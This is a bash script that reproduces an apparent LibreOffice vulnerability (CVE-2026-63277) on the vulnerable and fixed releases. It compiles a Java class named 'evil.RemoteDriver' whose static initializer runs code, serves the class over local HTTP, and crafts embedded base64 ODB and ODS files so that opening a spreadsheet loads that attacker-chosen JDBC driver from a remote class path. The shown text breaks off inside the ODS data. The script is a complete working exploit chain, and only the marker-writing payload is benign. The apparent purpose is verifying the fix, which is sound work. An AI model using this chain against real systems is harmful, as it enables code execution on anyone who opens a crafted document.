#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

VULN_VERSION="26.2.4.2"
FIXED_VERSION="26.2.5"
VULN_COMMIT="0229ac93fcf0d7cbc6376066c6f35021cef002dc"
FIXED_BUILD_COMMIT="cd7284b4cbbfeb507e630c1aac019f4157393acb"
REPO_URL="https://git.libreoffice.org/core"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
FALLBACK="$ROOT/artifacts/libreoffice"
CACHE_DIR=""
if [[ -r "$CACHE_CONTEXT" ]]; then
  CACHE_DIR="$(python3 - "$CACHE_CONTEXT" <<'PY'
import json,sys
try:
 d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir','') if d.get('prepared') else '')
except Exception: print('')
PY
)"
fi
if [[ -n "$CACHE_DIR" ]]; then WORK="$CACHE_DIR"; else WORK="$FALLBACK"; fi
mkdir -p "$WORK/packages" "$WORK/runtime" "$WORK/repro-work"
PKG="$WORK/packages"
RUN="$WORK/runtime"
TMP="$WORK/repro-work/cve-2026-63277"
rm -rf "$TMP"; mkdir -p "$TMP"

write_failure_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json,sys
json.dump({"entrypoint_kind":"open_document","entrypoint_detail":"LibreOffice Calc opening a crafted ODS with SQL data mapping and remote JDBC class path","service_started":False,"healthcheck_passed":False,"target_path_reached":False,"runtime_stack":[],"proof_artifacts":[],"artifact_sha256":{},"notes":"Attempt did not reach a confirmed runtime result; inspect bundle/logs/reproduction_steps.log"},open(sys.argv[1],"w"),indent=2); open(sys.argv[1],"a").write("\n")
PY
}
trap 'rc=$?; if [[ $rc -ne 0 ]]; then write_failure_manifest; fi' EXIT

fetch() {
  local url="$1" out="$2"
  if [[ ! -s "$out" ]]; then curl -fL --retry 3 --connect-timeout 20 "$url" -o "$out.part"; mv "$out.part" "$out"; fi
}

VULN_TGZ="$PKG/LibreOffice_${VULN_VERSION}_Linux_x86-64_deb.tar.gz"
FIXED_TGZ="$PKG/LibreOffice_${FIXED_VERSION}_Linux_x86-64_deb.tar.gz"
fetch "http://downloadarchive.documentfoundation.org/libreoffice/old/${VULN_VERSION}/deb/x86_64/LibreOffice_${VULN_VERSION}_Linux_x86-64_deb.tar.gz" "$VULN_TGZ"
fetch "https://download.documentfoundation.org/libreoffice/stable/${FIXED_VERSION}/deb/x86_64/LibreOffice_${FIXED_VERSION}_Linux_x86-64_deb.tar.gz" "$FIXED_TGZ"
sha256sum "$VULN_TGZ" "$FIXED_TGZ" | tee "$LOGS/product-archives.sha256"

# Official TDF binaries dynamically link common desktop/X11 libraries even in headless mode.
if ! ldconfig -p 2>/dev/null | grep -q "libXinerama.so.1"; then
  sudo apt-get update
  sudo apt-get install -y libxinerama1 libxrandr2 libxrender1 libxext6 libsm6 libice6 libcups2 libnss3 libcairo2 libglib2.0-0t64 libfontconfig1 libfreetype6 libx11-xcb1
fi

extract_product() {
  local tgz="$1" dest="$2" unpack
  unpack="$TMP/unpack-$(basename "$dest")"
  if [[ ! -x "$dest/opt/libreoffice26.2/program/soffice" ]]; then
    rm -rf "$dest" "$unpack"; mkdir -p "$dest" "$unpack"
    tar -xzf "$tgz" -C "$unpack"
    while IFS= read -r deb; do dpkg-deb -x "$deb" "$dest"; done < <(find "$unpack" -type f -name '*.deb' | sort)
    rm -rf "$unpack"
  fi
}
extract_product "$VULN_TGZ" "$RUN/vulnerable"
extract_product "$FIXED_TGZ" "$RUN/fixed"
VULN_BIN="$RUN/vulnerable/opt/libreoffice26.2/program/soffice"
FIXED_BIN="$RUN/fixed/opt/libreoffice26.2/program/soffice"
"$VULN_BIN" --version | tee "$LOGS/vulnerable-version.txt"
"$FIXED_BIN" --version | tee "$LOGS/fixed-version.txt"

# The JDBC payload is built locally, but it is served only over HTTP. Its static
# initializer creates a unique target-local marker, which is direct code-execution evidence.
if ! command -v javac >/dev/null 2>&1; then
  sudo apt-get update
  sudo apt-get install -y default-jdk-headless
fi
mkdir -p "$TMP/java/evil" "$TMP/http"
cat > "$TMP/java/evil/RemoteDriver.java" <<'JAVA'
package evil;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;
public final class RemoteDriver implements Driver {
    static {
        String marker = System.getProperty("pruva.marker");
        String value = System.getProperty("pruva.marker.value");
        try {
            java.nio.file.Files.writeString(java.nio.file.Path.of(marker), value + "\n");
            DriverManager.registerDriver(new RemoteDriver());
        } catch (Exception e) { throw new RuntimeException(e); }
    }
    public Connection connect(String u, Properties p) { return null; }
    public boolean acceptsURL(String u) { return true; }
    public DriverPropertyInfo[] getPropertyInfo(String u, Properties p) { return new DriverPropertyInfo[0]; }
    public int getMajorVersion() { return 1; }
    public int getMinorVersion() { return 0; }
    public boolean jdbcCompliant() { return false; }
    public Logger getParentLogger() { return Logger.getGlobal(); }
}
JAVA
javac -d "$TMP/http" "$TMP/java/evil/RemoteDriver.java"

PORT="$(python3 - <<'PY'
import socket
s=socket.socket(); s.bind(('127.0.0.1',0)); print(s.getsockname()[1]); s.close()
PY
)"
REMOTE_CLASS_URL="http://127.0.0.1:${PORT}/"

# Construct the remote .odb data source from a real LibreOffice DB document.
# It carries the attacker-selected Java driver and HTTP Java class path.
base64 -d > "$TMP/base.odb" <<'B64ODB'
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
B64ODB
python3 - "$TMP/base.odb" "$TMP/http/evil.odb" "$REMOTE_CLASS_URL" <<'PYODB'
import sys, zipfile
src,dst,classpath=sys.argv[1:]
with zipfile.ZipFile(src) as zin, zipfile.ZipFile(dst,'w') as zout:
    for info in zin.infolist():
        data=zin.read(info.filename)
        if info.filename == 'content.xml':
            text=data.decode('utf-8')
            text=text.replace('sdbc:embedded:hsqldb', 'jdbc:pruva:trigger')
            old='<db:driver-settings db:system-driver-settings="" db:base-dn="" db:parameter-name-substitution="false"/>'
            new=('<db:driver-settings db:system-driver-settings="" db:base-dn="" '
                 'db:parameter-name-substitution="false" db:java-driver-class="evil.RemoteDriver" '
                 f'db:java-classpath="{classpath}"/>')
            if old not in text: raise SystemExit('base ODB driver settings not found')
            data=text.replace(old,new).encode('utf-8')
        zout.writestr(info,data)
PYODB

# Construct the crafted .ods from a known-good LibreOffice Calc data-mapping
# document, preserving all required namespaces and package metadata.
base64 -d > "$TMP/base.ods" <<'B64ODS'
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